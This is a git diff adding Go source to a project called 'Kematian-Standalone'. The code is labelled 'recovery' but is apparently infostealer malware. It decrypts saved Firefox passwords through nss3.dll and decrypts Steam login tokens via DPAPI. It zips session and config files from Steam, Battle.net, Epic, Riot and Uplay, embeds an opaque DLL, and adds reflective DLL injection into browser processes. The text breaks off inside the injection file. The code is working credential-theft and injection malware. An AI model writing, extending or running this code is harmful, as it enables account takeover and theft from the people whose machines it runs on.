{ + return "" + } + + encBytes, err := base64.StdEncoding.DecodeString(b64) + if err != nil || len(encBytes) == 0 { + return "" + } + + var encItem C.SECItem + encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0])) + encItem.len = C.uint(len(encBytes)) + + var decItem C.SECItem + ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem) + if ret != 0 || decItem.data == nil || decItem.len == 0 { + return "" + } + + result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len)) + C.call_port_free(handle, unsafe.Pointer(decItem.data)) + + return result +} diff --git a/Kematian-Standalone/native/recovery/firefox/nss_windows.go b/Kematian-Standalone/native/recovery/firefox/nss_windows.go new file mode 100644 index 0000000..a46179f --- /dev/null +++ b/Kematian-Standalone/native/recovery/firefox/nss_windows.go @@ -0,0 +1,138 @@ +//go:build windows + +package firefox + +import ( + "encoding/base64" + "os" + "path/filepath" + "strings" + "syscall" + "unsafe" + + "recovery/recovery/types" +) + +type secItem struct { + ItemType uint32 + Data *byte + Len uint32 +} + +var nssInstallDirs = map[string][]string{ + "Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`}, + "LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`}, + "Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`}, +} + +func findNSSDir(browserName string) string { + dirs := nssInstallDirs[browserName] + if dirs == nil { + dirs = nssInstallDirs["Firefox"] + } + for _, dir := range dirs { + if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil { + return dir + } + } + for _, dirs := range nssInstallDirs { + for _, dir := range dirs { + if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil { + return dir + } + } + } + return "" +} + +func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult { + nssDir := findNSSDir(browserName) + if nssDir == "" { + logf("firefox NSS: nss3.dll not found for %s", browserName) + return nil + } + + oldPath := os.Getenv("PATH") + os.Setenv("PATH", nssDir+";"+oldPath) + defer os.Setenv("PATH", oldPath) + + nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll")) + if err != nil { + logf("firefox NSS: failed to load nss3.dll: %v", err) + return nil + } + defer nss3dll.Release() + + nssInit, err := nss3dll.FindProc("NSS_Init") + if err != nil { + return nil + } + pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt") + if err != nil { + return nil + } + nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown") + portFree, _ := nss3dll.FindProc("PORT_Free") + + profileBytes, err := syscall.BytePtrFromString(profilePath) + if err != nil { + return nil + } + + ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes))) + if ret != 0 { + logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr) + return nil + } + defer func() { + if nssShutdown != nil { + nssShutdown.Call() + } + }() + + var results []types.PasswordResult + for _, login := range logins { + username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername) + password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword) + results = append(results, types.PasswordResult{ + URL: login.Hostname, + Username: username, + Password: password, + }) + } + + return results +} + +func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string { + b64 = strings.TrimSpace(b64) + if b64 == "" { + return "" + } + + encBytes, err := base64.StdEncoding.DecodeString(b64) + if err != nil || len(encBytes) == 0 { + return "" + } + + encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))} + var decItem secItem + + ret, _, _ := pk11SDRDecrypt.Call( + uintptr(unsafe.Pointer(&encItem)), + uintptr(unsafe.Pointer(&decItem)), + 0, + ) + if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 { + return "" + } + + decBytes := unsafe.Slice(decItem.Data, decItem.Len) + result := string(decBytes) + + if portFree != nil { + portFree.Call(uintptr(unsafe.Pointer(decItem.Data))) + } + + return result +} diff --git a/Kematian-Standalone/native/recovery/gaming_stub.go b/Kematian-Standalone/native/recovery/gaming_stub.go new file mode 100644 index 0000000..1c4ef37 --- /dev/null +++ b/Kematian-Standalone/native/recovery/gaming_stub.go @@ -0,0 +1,228 @@ +//go:build !windows + +package recovery + +import ( + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +func pathExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func ScanGaming() *types.GamingResult { + result := &types.GamingResult{ + Steam: scanSteamUnix(), + } + if result.Steam == nil { + return nil + } + return result +} + +func steamBasePaths() []string { + home, _ := os.UserHomeDir() + if runtime.GOOS == "darwin" { + return []string{ + filepath.Join(home, "Library", "Application Support", "Steam"), + } + } + return []string{ + filepath.Join(home, ".steam", "steam"), + filepath.Join(home, ".local", "share", "Steam"), + filepath.Join(home, ".steam", "debian-installation"), + } +} + +func scanSteamUnix() *types.SteamResult { + var steamPath string + for _, p := range steamBasePaths() { + if pathExists(p) { + steamPath = p + break + } + } + if steamPath == "" { + return nil + } + + result := &types.SteamResult{SteamPath: steamPath} + + configPath := filepath.Join(steamPath, "config", "loginusers.vdf") + if data, err := os.ReadFile(configPath); err == nil { + for _, line := range strings.Split(string(data), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) { + val := vdfValueUnix(line) + if val != "" { + result.Account = val + result.AutoLogin = val + } + } + if strings.HasPrefix(line, `"RememberPassword"`) { + result.RememberPW = vdfValueUnix(line) == "1" + } + } + } + + if entries, err := os.ReadDir(steamPath); err == nil { + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + result.SSFNFiles = append(result.SSFNFiles, e.Name()) + } + } + } + + seenGames := make(map[string]bool) + scanSteamLibraryUnix(steamPath, result, seenGames) + + if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 { + return nil + } + return result +} + +func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) { + libraryFolders := []string{steamPath} + + steamappsRoot := filepath.Join(steamPath, "steamapps") + vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf") + if data, err := os.ReadFile(vdfPath); err == nil { + for _, line := range strings.Split(string(data), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(strings.ToLower(line), `"path"`) { + val := vdfValueUnix(line) + if val != "" && pathExists(val) && val != steamPath { + libraryFolders = append(libraryFolders, val) + } + } + } + } + + for _, lib := range libraryFolders { + libApps := filepath.Join(lib, "steamapps") + if !pathExists(libApps) { + continue + } + entries, _ := os.ReadDir(libApps) + for _, e := range entries { + if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") { + continue + } + acfData, err := os.ReadFile(filepath.Join(libApps, e.Name())) + if err != nil || len(acfData) == 0 { + continue + } + acf := parseACFUnix(string(acfData)) + if acf["appid"] == "" || acf["name"] == "" { + continue + } + if !seenGames[acf["appid"]] { + seenGames[acf["appid"]] = true + result.Games = append(result.Games, types.GameInfo{ + ID: acf["appid"], + Name: acf["name"], + Installed: acf["StateFlags"] != "4", + }) + } + } + } +} + +func parseACFUnix(data string) map[string]string { + result := map[string]string{} + var inBlock bool + for _, line := range strings.Split(data, "\n") { + line = strings.TrimLeft(line, "\t ") + if line == "{" { + inBlock = true + continue + } + if line == "}" { + break + } + if !inBlock || line == "" { + continue + } + if strings.HasPrefix(line, `"`) { + key := vdfNthQuotedUnix(line, 0) + val := vdfNthQuotedUnix(line, 1) + if key != "" { + result[key] = val + } + } + } + return result +} + +func vdfValueUnix(line string) string { + return vdfNthQuotedUnix(line, 1) +} + +func vdfNthQuotedUnix(line string, n int) string { + count := 0 + i := 0 + for count <= n && i < len(line) { + start := strings.Index(line[i:], `"`) + if start == -1 { + return "" + } + start += i + 1 + end := strings.Index(line[start:], `"`) + if end == -1 { + if count == n { + return line[start:] + } + return "" + } + if count == n { + return line[start : start+end] + } + i = start + end + 1 + count++ + } + return "" +} + +const maxZipFile = 50 * 1024 * 1024 + +func ZipSteamSession(steamPath string) ([]byte, error) { + if steamPath == "" || !pathExists(steamPath) { + return nil, os.ErrNotExist + } + + var files []string + entries, _ := os.ReadDir(steamPath) + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + if info, _ := e.Info(); info != nil && info.Size() < maxZipFile { + files = append(files, filepath.Join(steamPath, e.Name())) + } + } + } + + configDir := filepath.Join(steamPath, "config") + for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} { + p := filepath.Join(configDir, name) + if pathExists(p) { + files = append(files, p) + } + } + + if len(files) == 0 { + return nil, os.ErrNotExist + } + return ziputil.ZipFiles(files, filepath.Dir(steamPath)) +} + +func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist } +func ZipEpic() ([]byte, error) { return nil, os.ErrNotExist } +func ZipRiot() ([]byte, error) { return nil, os.ErrNotExist } +func ZipUplay() ([]byte, error) { return nil, os.ErrNotExist } diff --git a/Kematian-Standalone/native/recovery/gaming_windows.go b/Kematian-Standalone/native/recovery/gaming_windows.go new file mode 100644 index 0000000..b84aaef --- /dev/null +++ b/Kematian-Standalone/native/recovery/gaming_windows.go @@ -0,0 +1,586 @@ +//go:build windows + +package recovery + +import ( + "encoding/hex" + "os" + "path/filepath" + "strings" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +func normLines(data string) []string { + return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n") +} + +func ScanGaming() *types.GamingResult { + result := &types.GamingResult{ + Steam: ScanSteam(), + BattleNet: ScanBattleNet(), + Epic: ScanEpic(), + Riot: ScanRiot(), + Uplay: ScanUplay(), + } + if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 { + return nil + } + return result +} + +func ScanSteam() *types.SteamResult { + result := &types.SteamResult{} + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ) + if err != nil { + logf("[gaming] Steam registry key not found: %v", err) + return nil + } + defer k.Close() + + result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser") + remPw, _, _ := k.GetIntegerValue("RememberPassword") + result.RememberPW = remPw != 0 + + steamPath, _, _ := k.GetStringValue("SteamPath") + logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath)) + if steamPath == "" || !pathExists(steamPath) { + return nil + } + steamPath = filepath.FromSlash(steamPath) + result.SteamPath = steamPath + + if result.AutoLogin != "" { + result.Account = result.AutoLogin + } + + seenGames := make(map[string]bool) + scanSteamLibrary(steamPath, result, seenGames) + logf("[gaming] Steam library scan found %d games from manifests", len(result.Games)) + + appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ) + if err != nil { + logf("[gaming] Steam Apps registry key not found: %v", err) + } else { + defer appsKey.Close() + names, _ := appsKey.ReadSubKeyNames(0) + logf("[gaming] Steam Apps registry has %d sub-keys", len(names)) + for _, name := range names { + if seenGames[name] { + continue + } + subKey, err := registry.OpenKey(appsKey, name, registry.READ) + if err != nil { + continue + } + gameName, _, _ := subKey.GetStringValue("Name") + installed, _, _ := subKey.GetIntegerValue("Installed") + running, _, _ := subKey.GetIntegerValue("Running") + subKey.Close() + if gameName != "" { + seenGames[name] = true + result.Games = append(result.Games, types.GameInfo{ + ID: name, + Name: gameName, + Installed: installed == 1, + Running: running == 1, + }) + } + } + } + + if entries, err := os.ReadDir(steamPath); err == nil { + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + result.SSFNFiles = append(result.SSFNFiles, e.Name()) + } + } + } + + localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf") + logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath)) + if pathExists(localVdfPath) { + tokens := extractSteamTokens(steamPath, localVdfPath) + if len(tokens) > 0 { + result.Token = strings.Join(tokens, "\n") + // Parse each token into its steamID + jwt pair (steamID is the part + // before the first dot), so it can be surfaced cleanly in the panel. + for _, tok := range tokens { + if dot := strings.Index(tok, "."); dot > 0 { + steamID := tok[:dot] + jwt := tok[dot+1:] + if steamID != "" && jwt != "" { + result.SteamTokens = append(result.SteamTokens, types.SteamTokenResult{ + SteamID: steamID, + Token: jwt, + }) + } + if result.Account == "" { + result.Account = steamID + } + } + } + } + } + + if result.Account == "" { + configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml") + if configBytes, err := os.ReadFile(configPath); err == nil { + content := string(configBytes) + if idx := strings.Index(content, `"PersonaName"`); idx > 0 { + start := strings.Index(content[idx:], `"`) + end := strings.Index(content[idx+start+1:], `"`) + if start > 0 && end > 0 { + result.Account = content[idx+start+1 : idx+start+1+end] + } + } + } + } + + return result +} + +func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) { + libraryFolders := []string{steamPath} + + steamappsRoot := filepath.Join(steamPath, "steamapps") + logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot)) + vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf") + logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath)) + if data, err := os.ReadFile(vdfPath); err == nil { + for _, line := range normLines(string(data)) { + line = strings.TrimSpace(line) + if strings.HasPrefix(strings.ToLower(line), `"path"`) { + val := vdfValue(line) + if val != "" { + libraryPath := filepath.FromSlash(val) + libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator)) + if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) { + libraryFolders = append(libraryFolders, libraryPath) + } + } + } + } + } + + logf("[gaming] Steam library folders to scan: %v", libraryFolders) + for _, lib := range libraryFolders { + libApps := filepath.Join(lib, "steamapps") + logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps)) + if !pathExists(libApps) { + continue + } + + entries, _ := os.ReadDir(libApps) + logf("[gaming] Steam steamapps dir has %d entries", len(entries)) + for _, e := range entries { + if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") { + continue + } + acfData, err := os.ReadFile(filepath.Join(libApps, e.Name())) + if err != nil || len(acfData) == 0 { + continue + } + acf := parseACF(string(acfData)) + if acf["appid"] == "" || acf["name"] == "" { + continue + } + installed := acf["StateFlags"] != "4" + if !seenGames[acf["appid"]] { + seenGames[acf["appid"]] = true + result.Games = append(result.Games, types.GameInfo{ + ID: acf["appid"], + Name: acf["name"], + Installed: installed, + }) + } + } + } +} + +func parseACF(data string) map[string]string { + result := map[string]string{} + var inBlock bool + + for _, line := range normLines(data) { + line = strings.TrimLeft(line, "\t ") + if line == "{" { + inBlock = true + continue + } + if line == "}" { + break + } + if !inBlock || line == "" { + continue + } + if strings.HasPrefix(line, `"`) { + key, val := vdfKeyValue(line) + if key != "" { + result[key] = val + } + } + } + return result +} + +func vdfKeyValue(line string) (string, string) { + key := vdfNthQuoted(line, 0) + val := vdfNthQuoted(line, 1) + return key, val +} + +func vdfValue(line string) string { + return vdfNthQuoted(line, 1) +} + +func vdfNthQuoted(line string, n int) string { + count := 0 + i := 0 + for count <= n && i < len(line) { + start := strings.Index(line[i:], `"`) + if start == -1 { + return "" + } + start += i + 1 + end := strings.Index(line[start:], `"`) + if end == -1 { + if count == n { + return line[start:] + } + return "" + } + if count == n { + return line[start : start+end] + } + i = start + end + 1 + count++ + } + return "" +} + +func extractSteamTokens(steamPath, localVdfPath string) []string { + loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf") + if !pathExists(loginUsersPath) { + loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf") + } + if !pathExists(loginUsersPath) { + return nil + } + + loginData, _ := os.ReadFile(loginUsersPath) + localData, _ := os.ReadFile(localVdfPath) + if loginData == nil || localData == nil { + return nil + } + + accounts := parseVDFAccountNames(string(loginData)) + if len(accounts) == 0 { + return nil + } + + return findSteamTokens(string(localData), accounts) +} + +func parseVDFAccountNames(data string) []string { + var accounts []string + for _, line := range normLines(data) { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, `"AccountName"`) { + val := vdfValue(line) + if val != "" { + accounts = append(accounts, val) + } + } + } + return accounts +} + +func findSteamTokens(data string, accounts []string) []string { + normalized := strings.ReplaceAll(data, "\r\n", "\n") + var tokens []string + + for _, account := range accounts { + prefix := `"` + account + `"` + idx := strings.Index(normalized, prefix) + if idx == -1 { + continue + } + + blockStart := strings.Index(normalized[idx:], "{") + blockEnd := strings.Index(normalized[idx:], "}") + if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart { + continue + } + + block := normalized[idx+blockStart : idx+blockEnd] + tokenStart := strings.Index(block, `"Token"`) + if tokenStart == -1 { + tokenStart = strings.Index(block, `"RefreshToken"`) + } + if tokenStart == -1 { + continue + } + + tokenLine := block[tokenStart:] + if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 { + tokenLine = tokenLine[:lineEnd] + } + + tokenHex := vdfValue(tokenLine) + if len(tokenHex) < 64 { + continue + } + + decrypted := decryptSteamToken(tokenHex, account) + if decrypted != "" { + tokens = append(tokens, account+"."+decrypted) + } + } + + return tokens +} + +func decryptSteamToken(tokenHex, account string) string { + tokenBytes, err := hex.DecodeString(tokenHex) + if err != nil || len(tokenBytes) < 16 { + return "" + } + + entropy := []byte(account) + out, err := dpapiDecrypt(tokenBytes, entropy) + if err != nil || len(out) == 0 { + return "" + } + + return strings.TrimRight(string(out), "\x00") +} + +func dpapiDecrypt(data, entropy []byte) ([]byte, error) { + type blob struct { + cbData uint32 + pbData *byte + } + + var inBlob, outBlob blob + inBlob.cbData = uint32(len(data)) + if len(data) > 0 { + inBlob.pbData = &data[0] + } + + var entPtr uintptr + if len(entropy) > 0 { + entBlob := blob{ + cbData: uint32(len(entropy)), + pbData: &entropy[0], + } + entPtr = uintptr(unsafe.Pointer(&entBlob)) + } + + proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData") + r, _, err := proc.Call( + uintptr(unsafe.Pointer(&inBlob)), + 0, entPtr, 0, 0, 0, + uintptr(unsafe.Pointer(&outBlob)), + ) + if r == 0 { + return nil, err + } + defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData)))) + + out := make([]byte, outBlob.cbData) + copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData)) + return out, nil +} + +func pathExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func ScanBattleNet() []types.BattleNetResult { + var results []types.BattleNetResult + + bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net") + logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir)) + if !pathExists(bnDir) { + return nil + } + + entries, _ := os.ReadDir(bnDir) + for _, e := range entries { + if e.IsDir() { + scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results) + } else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") { + results = append(results, types.BattleNetResult{ + Path: filepath.Join(bnDir, e.Name()), + Name: e.Name(), + }) + } + } + + return results +} + +func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) { + entries, err := os.ReadDir(dir) + if err != nil { + return + } + for _, e := range entries { + if e.IsDir() { + scanBattleNetRecursive(filepath.Join(dir, e.Name()), results) + } else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") { + *results = append(*results, types.BattleNetResult{ + Path: filepath.Join(dir, e.Name()), + Name: e.Name(), + }) + } + } +} + +func ScanEpic() []types.EpicResult { + var results []types.EpicResult + + path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini") + logf("[gaming] Epic config=%q exists=%v", path, pathExists(path)) + if !pathExists(path) { + return nil + } + + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + return nil + } + + content := string(data) + if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") { + results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"}) + } + + return results +} + +func ScanRiot() []types.RiotResult { + var results []types.RiotResult + + riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data") + logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir)) + if pathExists(riotDir) { + results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"}) + } + + configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config") + logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir)) + if pathExists(configDir) { + results = append(results, types.RiotResult{Path: configDir, Name: "Config"}) + } + + return results +} + +func ScanUplay() []types.UplayResult { + var results []types.UplayResult + + path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher") + logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path)) + if pathExists(path) { + results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"}) + } + + return results +} + +const maxZipFile = 50 * 1024 * 1024 + +func ZipSteamSession(steamPath string) ([]byte, error) { + if steamPath == "" || !pathExists(steamPath) { + return nil, os.ErrNotExist + } + + var files []string + + entries, _ := os.ReadDir(steamPath) + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + if info, _ := e.Info(); info != nil && info.Size() < maxZipFile { + files = append(files, filepath.Join(steamPath, e.Name())) + } + } + } + + configDir := filepath.Join(steamPath, "config") + for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} { + p := filepath.Join(configDir, name) + if pathExists(p) { + files = append(files, p) + } + } + + localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf") + if pathExists(localVdf) { + files = append(files, localVdf) + } + + if len(files) == 0 { + return nil, os.ErrNotExist + } + logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath) + return ziputil.ZipFiles(files, filepath.Dir(steamPath)) +} + +func ZipBattleNet() ([]byte, error) { + bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net") + if !pathExists(bnDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(bnDir) +} + +func ZipEpic() ([]byte, error) { + configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows") + if !pathExists(configDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(configDir) +} + +func ZipRiot() ([]byte, error) { + riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client") + if !pathExists(riotDir) { + return nil, os.ErrNotExist + } + + var files []string + for _, sub := range []string{"Data", "Config"} { + d := filepath.Join(riotDir, sub) + if !pathExists(d) { + continue + } + filepath.Walk(d, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || info.Size() > maxZipFile { + return nil + } + files = append(files, path) + return nil + }) + } + if len(files) == 0 { + return nil, os.ErrNotExist + } + return ziputil.ZipFiles(files, riotDir) +} + +func ZipUplay() ([]byte, error) { + uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher") + if !pathExists(uplayDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(uplayDir) +} diff --git a/Kematian-Standalone/native/recovery/log.go b/Kematian-Standalone/native/recovery/log.go new file mode 100644 index 0000000..ddc9143 --- /dev/null +++ b/Kematian-Standalone/native/recovery/log.go @@ -0,0 +1,26 @@ +package recovery + +import ( + "fmt" + "log" + "sync" +) + +func logf(format string, args ...interface{}) { + log.Printf("[recovery] "+format, args...) +} + +func safeRecover(where string) { + if r := recover(); r != nil { + logf("panic recovered in %s: %v", where, r) + } +} + +func recoverErrors(where string, errs *[]string, mu *sync.Mutex) { + if r := recover(); r != nil { + logf("panic recovered in %s: %v", where, r) + mu.Lock() + *errs = append(*errs, fmt.Sprintf("%s: %v", where, r)) + mu.Unlock() + } +} diff --git a/Kematian-Standalone/native/recovery/platform/compat-layer.dll b/Kematian-Standalone/native/recovery/platform/compat-layer.dll new file mode 100644 index 0000000..579bc72 Binary files /dev/null and b/Kematian-Standalone/native/recovery/platform/compat-layer.dll differ diff --git a/Kematian-Standalone/native/recovery/platform/embedded_dll.go b/Kematian-Standalone/native/recovery/platform/embedded_dll.go new file mode 100644 index 0000000..53cea57 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/embedded_dll.go @@ -0,0 +1,14 @@ +//go:build windows + +package platform + +import ( + _ "embed" +) + +//go:embed compat-layer.dll +var embeddedDLL []byte + +func GetEmbeddedDLL() []byte { + return embeddedDLL +} diff --git a/Kematian-Standalone/native/recovery/platform/embedded_dll_stub.go b/Kematian-Standalone/native/recovery/platform/embedded_dll_stub.go new file mode 100644 index 0000000..2fb00cc --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/embedded_dll_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package platform + +func GetEmbeddedDLL() []byte { + return nil +} diff --git a/Kematian-Standalone/native/recovery/platform/inject.go b/Kematian-Standalone/native/recovery/platform/inject.go new file mode 100644 index 0000000..bac3e2e --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/inject.go @@ -0,0 +1,631 @@ +//go:build windows + +package platform + +import ( + "encoding/base64" + "encoding/binary" + "fmt" + "os" + "path/filepath" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll") + procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx") + procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx") + procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread") + procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC") + modNtdllInj = windows.NewLazySystemDLL("ntdll.dll") + procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess") +) + +// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64). +type processBasicInformation struct { + Reserved1 uintptr + PebBaseAddress uintptr + Reserved2 [2]uintptr + UniqueProcessId uintptr + Reserved3 uintptr +} + +// unicodeString mirrors UNICODE_STRING. +type unicodeString struct { + Length uint16 + MaximumLength uint16 + Buffer uintptr +} + +// processCommandLine returns the full command line of a process by walking its +// PEB (x64 offsets). Used to distinguish the main browser process from its +// renderer/GPU/utility subprocesses. +func processCommandLine(pid uint32) (string, error) { + hProcess, err := windows.OpenProcess( + windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid) + if err != nil { + return "", err + } + defer windows.CloseHandle(hProcess) + + var pbi processBasicInformation + var retLen uint32 + status, _, _ := procNtQueryInformationProcess.Call( + uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)), + unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)), + ) + if status != 0 || pbi.PebBaseAddress == 0 { + return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status) + } + + // PEB.ProcessParameters (offset 0x20 on x64). + var procParams uintptr + if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20, + (*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil { + return "", err + } + if procParams == 0 { + return "", fmt.Errorf("no process parameters") + } + + // RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64). + var cmdLine unicodeString + if err := windows.ReadProcessMemory(hProcess, procParams+0x70, + (*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil { + return "", err + } + if cmdLine.Length == 0 || cmdLine.Buffer == 0 { + return "", fmt.Errorf("no command line") + } + + buf := make([]uint16, cmdLine.Length/2) + if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer, + (*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil { + return "", err + } + return syscall.UTF16ToString(buf), nil +} + +func orderedBrowserPIDs(exeName string) []uint32 { + pids, err := FindProcesses(exeName) + if err != nil || len(pids) <= 1 { + return pids + } + for i, pid := range pids { + if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") { + if i != 0 { + pids[0], pids[i] = pids[i], pids[0] + } + return pids + } + } + return pids +} + +// findReflectiveLoaderOffset parses the PE export table in file layout and +// returns the file offset of the ReflectiveLoader export function. +func findReflectiveLoaderOffset(pe []byte) (uint32, error) { + if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' { + return 0, fmt.Errorf("not a valid PE") + } + lfanew := binary.LittleEndian.Uint32(pe[60:]) + if int(lfanew)+24 > len(pe) { + return 0, fmt.Errorf("truncated PE header") + } + if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 { + return 0, fmt.Errorf("bad PE signature") + } + + coffOff := lfanew + 4 + numSections := binary.LittleEndian.Uint16(pe[coffOff+2:]) + optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:]) + optHeaderOff := coffOff + 20 + + if int(optHeaderOff)+4 > len(pe) { + return 0, fmt.Errorf("truncated optional header") + } + magic := binary.LittleEndian.Uint16(pe[optHeaderOff:]) + + var exportRVA uint32 + switch magic { + case 0x10b: // PE32 + if int(optHeaderOff)+100 > len(pe) { + return 0, fmt.Errorf("PE32 optional header too short") + } + exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:]) + case 0x20b: // PE32+ + if 